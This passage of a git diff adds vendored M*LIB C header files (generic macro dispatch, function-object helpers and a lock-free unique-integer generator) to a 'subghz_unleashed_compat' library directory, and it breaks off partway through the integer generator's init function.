+  M_RET_ARG2 arg M_RET_ARG1 arg;
+
+#define M_FUNC0BJ_INS_ATTR_LIST(arg)                                          \
+  M_DEFERRED_COMMA M_RET_ARG2 arg const M_RET_ARG1 arg
+
+#define M_FUNC0BJ_INS_ATTR_INIT(arg)                                          \
+  M_CALL_INIT(M_RET_ARG3 arg, obj -> M_RET_ARG1 arg);
+
+#define M_FUNC0BJ_INS_ATTR_INIT_SET(arg)                                      \
+  M_CALL_INIT_SET(M_RET_ARG3 arg, obj -> M_RET_ARG1 arg, M_RET_ARG1 arg);
+
+#define M_FUNC0BJ_INS_ATTR_CLEAR(arg)                                         \
+  M_CALL_CLEAR(M_RET_ARG3 arg, obj -> M_RET_ARG1 arg);
+
+/* Define the list of arguments of the instance of the callback */
+#define M_FUNC0BJ_INS_ARGLIST(name, num, param)                               \
+  M_DEFERRED_COMMA M_C4(name, _param_, num, _ct) param
+
+
+/* Macros for testing for a method presence in all the attributes */
+#define M_FUNC0BJ_TEST_METHOD2_P(method, op)                                  \
+  M_TEST_METHOD_P(method, op)
+#define M_FUNC0BJ_TEST_METHOD1_P(method, arg)                                 \
+  M_APPLY(M_FUNC0BJ_TEST_METHOD2_P, method, M_RET_ARG3 arg)
+#define M_FUNC0BJ_TEST_METHOD_P(method, ...)                                  \
+  M_IF(M_REDUCE2(M_FUNC0BJ_TEST_METHOD1_P, M_AND, method, __VA_ARGS__))
+
+/* Macro for checking compatible type and oplist for all the attributes */
+#define M_FUNC0BJ_CONTROL_ALL_OPLIST(name, ...)                               \
+  M_MAP2(M_FUNC0BJ_CONTROL_OPLIST, name, __VA_ARGS__)
+#define M_FUNC0BJ_CONTROL_OPLIST(name, a)                                     \
+  M_CHECK_COMPATIBLE_OPLIST(name, M_RET_ARG1 a, M_RET_ARG2 a, M_RET_ARG3 a)
+
+
+/******************************** INTERNAL ***********************************/
+
+#if M_USE_SMALL_NAME
+#define FUNC_OBJ_ITF_DEF M_FUNC_OBJ_ITF_DEF
+#define FUNC_OBJ_ITF_DEF_AS M_FUNC_OBJ_ITF_DEF_AS
+#define FUNC_OBJ_INS_DEF M_FUNC_OBJ_INS_DEF
+#define FUNC_OBJ_INS_DEF_AS M_FUNC_OBJ_INS_DEF_AS
+#define FUNC_OBJ_INS_OPLIST M_FUNC_OBJ_INS_OPLIST
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-generic.h b/lib/subghz_unleashed_compat/include/mlib/m-generic.h
new file mode 100644
index 000000000..e146cdcc0
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-generic.h
@@ -0,0 +1,317 @@
+/*
+ * M*LIB - Generic module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_GENERIC_H
+#define MSTARLIB_GENERIC_H
+
+#include "m-core.h"
+
+/* Define the generic macro-functions */
+// TODO: m_ prefix?
+#define init(x)              M_G3N_CALL_1(INIT, x)
+#define init_set(x, y)       M_G3N_CALL_2(INIT_SET, x, TYPE, x, TYPE, y)
+#define init_move(x, y)      M_G3N_CALL_2(INIT_MOVE, x, TYPE, x, TYPE, y)
+#define move(x, y)           M_G3N_CALL_2(MOVE, x, TYPE, x, TYPE, y)
+#define set(x, y)            M_G3N_CALL_2(SET, x, TYPE, x , TYPE, y)
+#define clear(x)             M_G3N_CALL_1(CLEAR, x)
+#define swap(x, y)           M_G3N_CALL_2(SWAP, x, TYPE, x , TYPE, y)
+#define hash(x)              M_G3N_CALL_1(HASH, x)
+#define equal(x, y)          M_G3N_CALL_2(EQUAL, x, TYPE, x , TYPE, y)
+#define cmp(x, y)            M_G3N_CALL_2(CMP, x, TYPE, x , TYPE, y)
+#define sort(x)              M_G3N_CALL_1(SORT, x)
+#define splice_back(d, s, i) M_G3N_CALL_3(SPLICE_BACK, d, TYPE, d, TYPE, s, IT_TYPE, i)
+#define splice_at(d, id, s, is) M_G3N_CALL_4(SPLICE_BACK, d, TYPE, d, IT_TYPE, id, TYPE, s, IT_TYPE, is)
+#define it_type(x)           m_typeof(M_G3N_TYPE_1(IT_TYPE, x))
+#define sub_type(x)          m_typeof(M_G3N_TYPE_1(SUBTYPE, x))
+#define key_type(x)          m_typeof(M_G3N_TYPE_1(KEY_TYPE, x))
+#define value_type(x)        m_typeof(M_G3N_TYPE_1(VALUE_TYPE, x))
+#define it_first(x, y)       M_G3N_CALL_2(IT_FIRST, y, IT_TYPE, x, TYPE, y)
+#define it_last(x, y)        M_G3N_CALL_i2(IT_LAST, y, IT_TYPE, x, TYPE, y)
+#define it_end(x, y)         M_G3N_CALL_i2(IT_END, y, IT_TYPE, x, TYPE, y)
+#define it_set(d, s)         M_G3N_CALL_2i(IT_SET, d, IT_TYPE, d, IT_TYPE, s)
+#define it_end_p(i)          M_G3N_CALL_1i(IT_END_P, i)
+#define it_last_p(i)         M_G3N_CALL_1i(IT_LAST_P, i)
+#define it_next(i)           M_G3N_CALL_1i(IT_NEXT, i)
+#define it_previous(i)       M_G3N_CALL_1i(IT_PREVIOUS, i)
+#define it_ref(i)            M_G3N_CALL_1i(IT_REF, i)
+#define it_cref(i)           M_G3N_CALL_1i(IT_CREF, i)
+#define it_equal(x, y)       M_G3N_CALL_2i(IT_EQUAL, x, IT_TYPE, x, IT_TYPE, y)
+#define it_insert(c, i, o)   M_G2N_CALL_3(IT_INSERT, c, TYPE, c, IT_TYPE, i, SUBTYPE, o)
+#define it_remove(c, i)      M_G3N_CALL_2(IT_REMOVE, c, TYPE, c, IT_TYPE, i)
+#define empty_p(x)           M_G3N_CALL_1(EMPTY_P, x)
+#define add(x, y)            M_G3N_CALL_2(ADD, x, TYPE, x, TYPE, y)
+#define sub(x, y)            M_G3N_CALL_2(SUB, x, TYPE, x, TYPE, y)
+#define mul(x, y)            M_G3N_CALL_2(MUL, x, TYPE, x, TYPE, y)
+#define div(x, y)            M_G3N_CALL_2(DIV, x, TYPE, x, TYPE, y)
+#define reset(x)             M_G3N_CALL_1(RESET, x)
+#define get(x, y)            M_G3N_CALL_2(GET_KEY, x, TYPE, x, KEY_TYPE, y)
+#define set_at(x, y, z)      M_G3N_CALL_3(SET_KEY, x, TYPE, x, KEY_TYPE, y, VALUE_TYPE, z)
+#define safe_get(x, y)       M_G3N_CALL_2(SAFE_GET_KEY, x, TYPE, x, KEY_TYPE, y)
+#define erase(x, y)          M_G3N_CALL_2(ERASE, x, TYPE, x, KEY_TYPE, y)
+#define get_size(x)          M_G3N_CALL_1(GET_SIZE, x)
+#define push(x, y)           M_G3N_CALL_2(PUSH, x, TYPE, x, SUBTYPE, y)
+#define pop(x, y)            M_G3N_CALL_2(POP, y, SUBTYPE_PTR, x, TYPE, y)
+#define push_move(x, y)      M_G3N_CALL_2(PUSH_MOVE, x, TYPE, x, SUBTYPE_PTR, y)
+#define pop_move(x, y)       M_G3N_CALL_2(POP_MOVE, y, SUBTYPE_PTR, x, TYPE, y)
+#define reverse(x)           M_G3N_CALL_1(REVERSE, x)
+#define get_str(s, c, b)     M_G3N_CALL_3(GET_STR, c, string_t, s, TYPE, c, bool, b)
+#define parse_str(c, s, e)   M_G3N_CALL_3(PARSE_STR, c, TYPE, c, m_g3n_cstring, s, m_g3n_cstring_end, e)
+#define out_str(x, y)        M_G3N_CALL_2(OUT_STR, y, m_g3n_file, x, TYPE, y)
+#define in_str(x, y)         M_G3N_CALL_2(IN_STR, x, TYPE, x, m_g3n_file, y)
+#define out_serial(x, y)     M_G3N_CALL_2(OUT_SERIAL, y, m_serial_write_t, x, TYPE, y)
+#define in_serial(x, y)      M_G3N_CALL_2(IN_SERIAL, x, TYPE, x, m_serial_read_t, y)
+
+#define let(...)             M_LET(__VA_ARGS__)
+#define print(...)           M_PRINT(__VA_ARGS__)
+
+// for each(item, container)
+#define each(item, container)                                                 \
+  M_G3N_EACHI(item, container, M_C(m_local_it_, __LINE__), M_C(local_pass_, __LINE__))
+
+/* User code has to register oplists like this:
+#define M_GENERIC_ORG_2() (USER)
+#define M_GENERIC_ORG_USER_COMP_1() (CORE)
+#define M_GENERIC_ORG_USER_COMP_CORE_OPLIST_6() FLT1
+#define M_GENERIC_ORG_USER_COMP_CORE_OPLIST_7() STR1
+*/
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+// Instead of using expensive M_SEQ(1,50), precompute it:
+#define M_G3N_SEQ_INT                                                         \
+  1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21,  \
+  21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, \
+  40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50
+
+/* Generate a sequence of the oplist that have been registered.
+
+   3 levels of indirection are needed:
+    * One level is the organisation.
+    * One level is the component of the organisation.
+    * One level is the oplist within the component of the organisation
+  Return the list of unevaluated oplist that are registered across all organizations, all components.
+  M*LIB Organisation (MLIB) is the default organisation and is always registered
+  Usage Domain: Nb organizations * Nb components * Nb oplist <= M_MAX_NB_ARGUMENT
+*/
+#define M_G3N_REGISTERED_ITEMS()                                              \
+  M_CROSS_MAP( M_G3N_IS_PRESENT3, ( comp M_CROSS_MAP(M_G3N_IS_PRESENT2, (MLIB M_MAP(M_G3N_IS_PRESENT, M_G3N_SEQ_INT)), ( M_G3N_SEQ_INT ) ) ), ( M_G3N_SEQ_INT ) )
+
+#define M_G3N_IS_PRESENT(num)                                                 \
+  M_IF(M_PARENTHESIS_P(M_C(M_GENERIC_ORG_, num)() ))(M_DEFERRED_COMMA M_ID M_C(M_GENERIC_ORG_, num)(), )
+
+#define M_G3N_IS_PRESENT2(el1, num)                                           \
+  M_IF(M_PARENTHESIS_P(M_C4(M_GENERIC_ORG_, el1, _COMP_, num)()))(M_DEFERRED_COMMA M_APPLY(M_C3, el1, _COMP_, M_ID M_C4(M_GENERIC_ORG_, el1, _COMP_, num)()), )
+
+#define M_G3N_IS_PRESENT3(el1, num)                                           \
+  M_IF(M_OPLIST_P(M_C4(M_GENERIC_ORG_, el1, _OPLIST_, num)()))(M_DEFERRED_COMMA M_C4(M_GENERIC_ORG_, el1, _OPLIST_, num), )
+
+
+// Dummy unused structure. Just to fill in default case of the _Generic
+struct m_g3neric_dummy_s;
+
+// Synonymous for some basic pointers doesn't work well with preprocessing code
+typedef FILE *m_g3n_file;
+typedef const char *m_g3n_cstring;
+typedef const char **m_g3n_cstring_end;
+
+// If x is of typex, return y else return (typey){O}
+#define M_AS_LINKED_TYPE(typex, x, typey, y) _Generic(((void)0,(x)), typex: (y), default: (typey) {0})
+
+// Return IT_TYPE of oplist promoted to a type suitable for a _Generic statement
+// i.e. transform array type into corresponding pointer type
+#define M_G3N_GEN_IT_TYPE(oplist)  m_typeof( ((void)0, (M_GET_IT_TYPE oplist()){0}))
+#define M_G3N_GEN_TYPE(oplist)     M_GET_GENTYPE oplist()
+
+// Translate type' into the container type if type == TYPE, IT_TYPE into its iterator
+// KEY_TYPE, VALUE_TYPE, SUBTYPE into the associated type in the oplist,
+// or keep 'type' otherwise
+// Handle also specially SUBTYPE_PTR
+#define M_G3N_TYPE(type, oplist) M_G3N_TYPE_B(type, oplist()) 
+#define M_G3N_TYPE_B(type, oplist) M_GET_METHOD(type, type, SUBTYPE_PTR(M_GET_SUBTYPE oplist *), M_OPFLAT oplist)
+
+// Call the OPERATOR call of the oplist registered to the variable 'x'
+// which takes one argument.
+#define M_G3N_CALL_1(op, x)                                                   \
+  M_G3N_BEGIN_PROTECTED_CODE                                                  \
+  _Generic( (x),                                                              \
+            M_MAP2(M_G3N_CALL_1_func, (op, x) M_G3N_REGISTERED_ITEMS() )      \
+            struct m_g3neric_dummy_s *: /* cannot happen */ (void)0)          \
+  M_G3N_END_PROTECTED_CODE
+#define M_G3N_CALL_1_func(x, oplist)                                          \
+  M_G3N_CALL_1_func_test(M_G3N_GEN_TYPE(oplist), M_PAIR_1 x, M_PAIR_2 x, oplist)
+#define M_G3N_CALL_1_func_test(gentype, op, x, oplist)                        \
+  M_IF_METHOD(op, oplist())(M_G3N_CALL_1_func_expand, M_EAT)(gentype, op, x, oplist)
+#define M_G3N_CALL_1_func_expand(gentype, op, x, oplist)                      \
+  gentype: M_C(M_CALL_, op)(oplist(), M_AS_TYPE(gentype, x)),                 \
+  const   gentype: M_C(M_CALL_, op)(oplist(), M_AS_LINKED_TYPE(const gentype, x, gentype, x)),
+
+// Call the OPERATOR call of the oplist registered to the variable 'svar'
+// which takes 2 arguments of the given type
+#define M_G3N_CALL_2(op, svar, type1, var1, type2, var2)                      \
+  M_G3N_BEGIN_PROTECTED_CODE                                                  \
+  _Generic( ((void)0, (svar)),                                                \
+            M_MAP2(M_G3N_CALL_2_func, (op, svar, type1, var1, type2, var2) M_G3N_REGISTERED_ITEMS() ) \
+            struct m_g3neric_dummy_s *: /* cannot happen */ (void) 0)         \
+  M_G3N_END_PROTECTED_CODE
+#define M_G3N_CALL_2_func(x, oplist)                                          \
+  M_APPLY(M_G3N_CALL_2_func_test, M_G3N_GEN_TYPE(oplist), M_ID x, oplist)
+#define M_G3N_CALL_2_func_test(gentype, op, svar, type1, var1, type2, var2, oplist) \
+  M_IF_METHOD(op, oplist())(M_G3N_CALL_2_func_expand, M_EAT)(gentype, op, svar, M_G3N_TYPE(type1, oplist), var1, M_G3N_TYPE(type2, oplist), var2, oplist)
+#define M_G3N_CALL_2_func_expand(gentype, op, svar, type1, var1, type2, var2, oplist) \
+  gentype: M_C(M_CALL_, op)(oplist(), M_AS_LINKED_TYPE(gentype, svar, type1, var1), M_AS_LINKED_TYPE(gentype, svar, type2, var2) ), \
+  const gentype: M_C(M_CALL_, op)(oplist(), M_AS_LINKED_TYPE(const gentype, svar, type1, var1), M_AS_LINKED_TYPE(const gentype, svar, type2, var2) ),
+
+// Call the OPERATOR call of the oplist registered to the variable 'svar'
+// which takes 3 arguments of the given type
+#define M_G3N_CALL_3(op, svar, type1, var1, type2, var2, type3, var3)         \
+  M_G3N_BEGIN_PROTECTED_CODE                                                  \
+  _Generic( ((void)0, (svar)),                                                \
+            M_MAP2(M_G3N_CALL_3_func, (op, svar, type1, var1, type2, var2, type3, var3) M_G3N_REGISTERED_ITEMS() ) \
+            struct m_g3neric_dummy_s *: /* cannot happen */ (void) 0)         \
+  M_G3N_END_PROTECTED_CODE
+#define M_G3N_CALL_3_func(x, oplist)                                          \
+  M_APPLY(M_G3N_CALL_3_func_test, M_G3N_GEN_TYPE(oplist), M_ID x, oplist)
+#define M_G3N_CALL_3_func_test(gentype, op, svar, type1, var1, type2, var2, type3, var3, oplist) \
+  M_IF_METHOD(op, oplist())(M_G3N_CALL_3_func_expand, M_EAT)(gentype, op, svar, M_G3N_TYPE(type1, oplist), var1, M_G3N_TYPE(type2, oplist), var2, M_G3N_TYPE(type3, oplist), var3, oplist)
+#define M_G3N_CALL_3_func_expand(gentype, op, svar, type1, var1, type2, var2, oplist) \
+  gentype: M_C(M_CALL_, op)(oplist(), M_AS_LINKED_TYPE(gentype, svar, type1, var1), M_AS_LINKED_TYPE(gentype, svar, type2, var2) ), \
+  const gentype: M_C(M_CALL_, op)(oplist(), M_AS_LINKED_TYPE(const gentype, svar, type1, var1), M_AS_LINKED_TYPE(const gentype, svar, type2, var2) ),
+
+// Call the OPERATOR call of the oplist registered to the variable 'svar'
+// which takes 4 arguments of the given type
+#define M_G3N_CALL_4(op, svar, type1, var1, type2, var2, type3, var3, type4, var4) \
+  M_G3N_BEGIN_PROTECTED_CODE                                                  \
+  _Generic( ((void)0, (svar)),                                                \
+            M_MAP2(M_G3N_CALL_4_func, (op, svar, type1, var1, type2, var2, type3, var3, type4, var4) M_G3N_REGISTERED_ITEMS() ) \
+            struct m_g3neric_dummy_s *: /* cannot happen */ (void) 0)         \
+  M_G3N_END_PROTECTED_CODE
+#define M_G3N_CALL_4_func(x, oplist)                                          \
+  M_APPLY(M_G3N_CALL_4_func_test, M_G3N_GEN_TYPE(oplist), M_ID x, oplist)
+#define M_G3N_CALL_4_func_test(gentype, op, svar, type1, var1, type2, var2, type3, var3, type4, var4, oplist) \
+  M_IF_METHOD(op, oplist())(M_G3N_CALL_4_func_expand, M_EAT)(gentype, op, svar, M_G3N_TYPE(type1, oplist), var1, M_G3N_TYPE(type2, oplist), var2, M_G3N_TYPE(type3, oplist), var3, M_G3N_TYPE(type4, oplist), var4, oplist)
+#define M_G3N_CALL_4_func_expand(gentype, op, svar, type1, var1, type2, var2, oplist) \
+  gentype: M_C(M_CALL_, op)(oplist(), M_AS_LINKED_TYPE(gentype, svar, type1, var1), M_AS_LINKED_TYPE(gentype, svar, type2, var2) ), \
+  const gentype: M_C(M_CALL_, op)(oplist(), M_AS_LINKED_TYPE(const gentype, svar, type1, var1), M_AS_LINKED_TYPE(const gentype, svar, type2, var2) ),
+
+// Call the OPERATOR call of the oplist registered to the variable 'x'
+// which takes one argument, it_type
+#define M_G3N_CALL_1i(op, x)                                                  \
+  M_G3N_BEGIN_PROTECTED_CODE                                                  \
+  _Generic( (x),                                                              \
+            M_MAP2(M_G3N_CALL_1i_func, (op, x) M_G3N_REGISTERED_ITEMS() )     \
+            struct m_g3neric_dummy_s *: /* cannot happen */ (void)0)          \
+  M_G3N_END_PROTECTED_CODE
+#define M_G3N_CALL_1i_func(x, oplist)                                         \
+  M_G3N_CALL_1_func_test(M_G3N_GEN_IT_TYPE(oplist), M_PAIR_1 x, M_PAIR_2 x, oplist)
+
+// Call the OPERATOR call of the oplist registered to the variable 'svar'
+// which takes 2 arguments of the given it_type
+#define M_G3N_CALL_2i(op, svar, type1, var1, type2, var2)                     \
+  M_G3N_BEGIN_PROTECTED_CODE                                                  \
+  _Generic( ((void)0, (svar)),                                                \
+            M_MAP2(M_G3N_CALL_2i_func, (op, svar, type1, var1, type2, var2) M_G3N_REGISTERED_ITEMS() ) \
+            struct m_g3neric_dummy_s *: /* cannot happen */ (void) 0)         \
+  M_G3N_END_PROTECTED_CODE
+#define M_G3N_CALL_2i_func(x, oplist)                                         \
+  M_APPLY(M_G3N_CALL_2_func_test, M_G3N_GEN_IT_TYPE(oplist), M_ID x, oplist)
+
+// Create a variable of type OPERATOR call of the oplist registered to the variable 'x'
+#define M_G3N_TYPE_1(op, x)                                                   \
+  M_G3N_BEGIN_PROTECTED_CODE                                                  \
+  _Generic( (x),                                                              \
+            M_MAP2(M_G3N_TYPE_1_func, (op, x) M_G3N_REGISTERED_ITEMS() )      \
+            struct m_g3neric_dummy_s *: /* cannot happen */ (void)0)          \
+  M_G3N_END_PROTECTED_CODE
+#define M_G3N_TYPE_1_func(x, oplist)                                          \
+  M_G3N_TYPE_1_func_test(M_G3N_GEN_TYPE(oplist), M_PAIR_1 x, M_PAIR_2 x, oplist)
+#define M_G3N_TYPE_1_func_test(gentype, op, x, oplist)                        \
+  M_IF_METHOD(op, oplist())(M_G3N_TYPE_1_func_expand, M_EAT)(gentype, op, x, oplist)
+#define M_G3N_TYPE_1_func_expand(gentype, op, x, oplist)                      \
+  gentype: (M_G3N_TYPE(op, oplist)){0},                                       \
+  const gentype: (M_G3N_TYPE(op, oplist)){0},
+
+
+// for each item in the container
+// Same as M_EACH except it uses the generic macros
+#define M_G3N_EACHI(item, container, l_it, l_pass)                            \
+  (bool l_pass = true; l_pass; l_pass = false)                                \
+  for(sub_type(container) *item; l_pass ; l_pass = false)                     \
+    for(it_type(container) l_it; l_pass ; l_pass = false)                     \
+      for(it_first(l_it, container) ;                                         \
+          !it_end_p(l_it)                                                     \
+            && (item = it_ref(l_it), true) ;                                  \
+          it_next(l_it))
+
+
+// TODO: init_with ? How to handle the different type of parameters ? Using EMPLACE_TYPE ?
+// TODO: support of PUSH_EMPLACE ?
+// TODO: support of "let" directly to avoid using the post-processing registration of M_LET?
+
+// Overwrite M_FPRINT & M_PRINT to support global oplists registration
+#define M_FPRINT_ARG_G3N(f, x)                                                \
+  M_G3N_BEGIN_PROTECTED_CODE                                                  \
+  _Generic(((void)0,(x)),                                                     \
+           char: fprintf(f, "%c", M_AS_TYPE(char,x)),                         \
+           bool: fprintf(f, "%d", M_AS_TYPE(bool,x)),                         \
+           signed char: fprintf(f, "%hhd", M_AS_TYPE(signed char,x)),         \
+           unsigned char: fprintf(f, "%hhu", M_AS_TYPE(unsigned char,x)),     \
+           signed short: fprintf(f, "%hd", M_AS_TYPE(signed short,x)),        \
+           unsigned short: fprintf(f, "%hu", M_AS_TYPE(unsigned short,x)),    \
+           signed int: fprintf(f, "%d", M_AS_TYPE(signed int,x)),             \
+           unsigned int: fprintf(f, "%u", M_AS_TYPE(unsigned int,x)),         \
+           long int: fprintf(f, "%ld", M_AS_TYPE(long int,x)),                \
+           unsigned long int: fprintf(f, "%lu", M_AS_TYPE(unsigned long int,x)), \
+           long long int: fprintf(f, "%lld", M_AS_TYPE(long long int,x)),     \
+           unsigned long long int: fprintf(f, "%llu", M_AS_TYPE(unsigned long long int,x)), \
+           float: fprintf(f, "%f", M_AS_TYPE(float,x)),                       \
+           double: fprintf(f, "%f", M_AS_TYPE(double,x)),                     \
+           long double: fprintf(f, "%Lf", M_AS_TYPE(long double,x)),          \
+           const char *: fprintf(f, "%s", M_AS_TYPE(const char*,x)),          \
+           char *: fprintf(f, "%s", M_AS_TYPE(char*,x)),                      \
+           const void *: fprintf(f, "%p", M_AS_TYPE(const void *,x)),         \
+           void *: fprintf(f, "%p", M_AS_TYPE(void *,x)),                     \
+           M_MAP2(M_G3N_CALL_2_func, (OUT_STR, x, m_g3n_file, f, TYPE, x) M_G3N_REGISTERED_ITEMS() ) \
+           struct m_g3neric_dummy_s *: /* cannot happen */ (void) 0)          \
+  M_G3N_END_PROTECTED_CODE
+
+#define M_G3N_FPRINT_ARG(f, x)                                                \
+  M_IF(M_PARENTHESIS_P(x))                                                    \
+    ( M_FPRINT_ARG_OUT_STR(f, M_PAIR_2 x, M_PAIR_1 x),                        \
+      M_FPRINT_ARG_G3N(f, x) )
+
+/* Override M_PRINT */
+#undef M_PRINT
+#define M_PRINT(...)   do { M_REDUCE2(M_G3N_FPRINT_ARG, M_SEPARATE_PER_SEMICOLON, stdout, __VA_ARGS__); } while (0)
+
+#undef M_FPRINT
+#define M_FPRINT(f,...)  do { M_REDUCE2(M_G3N_FPRINT_ARG, M_SEPARATE_PER_SEMICOLON, f, __VA_ARGS__); } while (0)
+
+// Register CORE component of M*LIB
+#define M_GENERIC_ORG_MLIB_COMP_1() (CORE)
+
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-genint.h b/lib/subghz_unleashed_compat/include/mlib/m-genint.h
new file mode 100644
index 000000000..5e8141406
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-genint.h
@@ -0,0 +1,244 @@
+/*
+ * M*LIB - Integer Generator (GENINT) module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_GENINT_H
+#define MSTARLIB_GENINT_H
+
+#include "m-core.h"
+#include "m-atomic.h"
+
+M_BEGIN_PROTECTED_CODE
+
+/* GENINT is an internal container providing unique integers.
+  It has the following properties:
+   - it stores integer from [0..N) (N is fixed).
+   - an integer can have only one occurrence in the container.
+   - you can atomically push in / pop out integer from this container
+   provided that it is not already in the container.
+   - there are no order (like FIFO or stack)
+
+   This can be used to map integers to index of resources in a table.
+   At most we can support N = 32*64 = 2048 with the master limb usage.
+   For the typical usage of this container
+   (mapping hardware or software limited resources), this should be
+   enough.
+*/
+
+// Define the limb size used by genint
+typedef unsigned long long m_genint_limb_ct;
+
+/* Define a generator of unique integer (Lock Free) */
+typedef struct m_genint_s {
+  unsigned int n;               // size of the container
+  unsigned int max;             // number of allocated limb - 1
+  m_genint_limb_ct mask0;       // mask of the last limb (constant)
+  m_genint_limb_ct mask_master; // mask of the master limb that controls others (constant)
+  atomic_ullong master;         // master bitfield (which informs if a limb is full or not)
+  atomic_ullong *data;          // the bitfield which informs if an integer is used or not
+} m_genint_t[1];
+
+// Define the max absolute supported value. It should be 2048 on most implementations.
+#define M_GENINT_MAX_ALLOC (M_GEN1NT_LIMBSIZE * (M_GEN1NT_LIMBSIZE - M_GEN1NT_ABA_CPT))
+
+// Define the size of a limb in bits.
+#define M_GEN1NT_LIMBSIZE ((unsigned)(sizeof(m_genint_limb_ct) * CHAR_BIT))
+
+// Define the contract of a genint
+#define M_GEN1NT_CONTRACT(s)                              do {                \
+    M_ASSERT (s != NULL);                                                     \
+    M_ASSERT (s->n > 0 && s->n <= M_GENINT_MAX_ALLOC);                        \
+    M_ASSERT ((s->max+1) * M_GEN1NT_LIMBSIZE >= s->n);                        \
+    M_ASSERT (s->data != NULL);                                               \
+  } while (0)
+
+// Define the limb one
+#define M_GEN1NT_ONE  ((m_genint_limb_ct)1)
+
+#define M_GEN1NT_FULL_MASK ULLONG_MAX
+
+// Value returned in case of error (not integer available).
+#define M_GENINT_ERROR (UINT_MAX)
+
+/* 32 bits of the master mask are kept for handling the ABA problem.
+ * NOTE: May be too much. 16 bits should be more than enough. TBC
+ */
+#define M_GEN1NT_ABA_CPT 32
+#define M_GEN1NT_ABA_CPT_T uint32_t
+
+// Set the bit 'i' of the master limb, and increase ABA counter.
+#define M_GEN1NT_MASTER_SET(master, i)                                        \
+  ((((master)& (~((M_GEN1NT_ONE<< M_GEN1NT_ABA_CPT)-1))) | (M_GEN1NT_ONE << (M_GEN1NT_LIMBSIZE - 1 - i))) \
+   |((M_GEN1NT_ABA_CPT_T)((master) + 1)))
+
+// Reset the bit i of the master limb, and increase ABA counter.
+#define M_GEN1NT_MASTER_RESET(master, i)                                      \
+  (((master) & (~((M_GEN1NT_ONE<< M_GEN1NT_ABA_CPT)-1)) & ~(M_GEN1NT_ONE << (M_GEN1NT_LIMBSIZE - 1 - i))) \
+   |((M_GEN1NT_ABA_CPT_T)((master) + 1)))
+
+/* Initialize an integer generator (CONSTRUCTOR).
+ * Initially, the container is full of all the integers up to 'n-1'
+ * The typical sequence is to initialize the container, and pop
+ * the integer from it. Each pop integer is **unique** for all threads,
+ * meaning it can be used to index global unique resources shared 
+ * for all threads.
+ */
+M_P(void, m_genint, _init, m_genint_t s, unsigned int n)
+{
+  M_ASSERT (s != NULL && n > 0 && n <= M_GENINT_MAX_ALLOC);
+  const size_t alloc = (n + M_GEN1NT_LIMBSIZE - 1) / M_GEN1NT_LIMBSIZE;
+  const unsigned int index  = n % M_GEN1NT_LIMBSIZE;
+  atomic_ullong *ptr = M_MEMORY_REALLOC (m_context, atomic_ullong, NULL, 0, alloc);
+  if (M_UNLIKELY_NOMEM (ptr == NULL)) {
+    M_MEMORY_FULL(atomic_ullong, alloc);
+  }
+  s->n = n;
+  s->data = ptr;
+  s->max = (unsigned int) (alloc-1);
